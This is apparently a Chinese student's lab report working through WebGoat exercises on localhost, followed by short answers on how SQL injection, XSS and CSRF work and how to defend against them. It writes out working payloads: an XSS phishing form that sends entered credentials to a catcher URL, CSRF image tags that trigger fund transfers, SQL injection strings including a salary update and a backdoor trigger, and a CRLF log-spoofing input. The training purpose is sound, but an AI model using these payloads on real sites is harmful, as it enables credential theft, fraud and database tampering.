20155220 Exp9 Web安全基础实践

Exp9 Web安全基础实践

实验过程

开启webgoat

• 输入java -jar webgoat-container-7.1-exec.jar，来运行webgoat
  
  

• 在浏览器输入localhost:8080/WebGoat，进入WebGoat开始实验
  
  

XSS攻击

1.Phishing with XSS （网路钓鱼）

• 在搜索框中输入XSS攻击代码，利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form，让受害人在我们创建的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，完整的XSS攻击代码如下：

</form>
<script>
function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

• 将上面的代码输入到输入框中，会出现如下登录框

• 输入用户名和密码，提示攻击成功

2.Stored XSS Attacks

• 创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容，输入标题，然后在message中输入一串代码，<script>alert("20155220 has no authority read it");</script>

• 结果如图：

3.Reflected XSS Attacks

• 当我们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展示给我们看：

• 这时如果我们将带有攻击性的URL作为输入源，例如输入<script>alert("20155220 has no authority change it");</script>，就会弹出对话框：

CSRF攻击

4.Cross Site Request Forgery（CSRF）

• 写一个URL诱使其他用户点击，从而触发CSRF攻击，通过图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。我们输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

• 如图：

• 由于我点击了发布的文件2次，所以右侧为2。

5.CSRF Prompt By-Pass

• 内容和前者相似，只不过这次需要确认转账，首先编辑内容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=201552220" width="1" height="1">

• 在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155220

• 点击CONFIRM按钮，再在浏览器中输入URL：http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM，成功转走了20155220元

6.CSRF Token By-Pass

• 本实验为读取令牌，并把令牌加到伪造的URL中，主要是读取目标网页的令牌，我们在文本框中加入如下代码：
  
  <iframe src="attack?Screen=803158781&menu=900&transferFunds=main" onload="readFrame1();"id="frame1" frameborder="1" marginwidth="0"marginheight="0"width="800" scrolling=yes height="300">

如图：

• 攻击成功

Injection Flaws

7.Numeric SQL Injection

• 通过注入SQL字符串的方式查看所有的天气数据，加上一个1=1这种永真式即可达到我们的目的，利用firebug，在任意一个值比如101旁边加上or 1=1：

• 然后选中Columbia，点Go，可以看到所有天气数据

8.Log Spoofing

• 我们输入的用户名会被追加到日志文件中，所以我们可以使用障眼法来使用户名为admin的用户在日志中显示“成功登录”，在User Name文本框中输入20155220%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符

9.String SQL Injection

• 构造SQL注入字符串，在文本框中输入````' or 1=1 --```，点击GO，可以查看到所以信息：

10.Database Backdoors

• 先输一个101，得到了该用户的信息：

• 可以发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：101; update employee set salary=100000，成功把该用户的工资涨到了100000

• 接下来创建一个后门，把表中所有的邮箱和用户ID都设为我的

• 输入101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155220@stooges.com' WHERE userid = NEW.userid

基础问题

SQL注入攻击原理，如何防御？

• SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是，在输入字符串中嵌入SQL指令，在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行，可能实现对后台数据库进行各种操作，甚至造成破坏后台数据库等严重后果。
• 对用户的输入进行校验，可以通过正则表达式，双"-"进行转换等。
• 不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取；不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接；不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
• 应用的异常信息应该给出尽可能少的提示。
• 采取辅助软件或网站平台来检测sql注入。

XSS攻击的原理，如何防御？

• 攻击者利用网站漏洞（通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤），输入可以显示在页面上的、对其他用户造成影响的HTML代码；由于受害者浏览器对目标服务器的信任，当其访问目标服务器上被注入恶意脚本的页面后，这段恶意脚本可以顺利执行，实现获取用户cookie并可以利用用户身份进行非法操作的目的。

• 浏览器自身可以识别简单的XSS攻击字符串，从而阻止简单的XSS攻击；从根本上说，解决办法是消除网站的XSS漏洞，这就需要网站开发者运用转义安全字符等手段。

CSRF攻击原理，如何防御？

• 攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统，类似于钓鱼。如用户当前已经登录了邮箱，或bbs，同时用户又在使用另外一个，已经被你控制的站点，我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你，你去点击一下，此时可能就会触发一个js的点击事件，构造一个bbs发帖的请求，去往你的bbs发帖，由于当前你的浏览器状态已经是登陆状态，所以session登陆cookie信息都会跟正常的请求一样，纯天然的利用当前的登陆状态，让用户在不知情的情况下，帮你发帖或干其他事情

• 通过referer、token或者验证码来检测用户提交；尽量不要在页面的链接中暴露用户隐私信息，对于用户修改删除等操作最好都使用post操作；避免全站通用的cookie，严格设置cookie的域。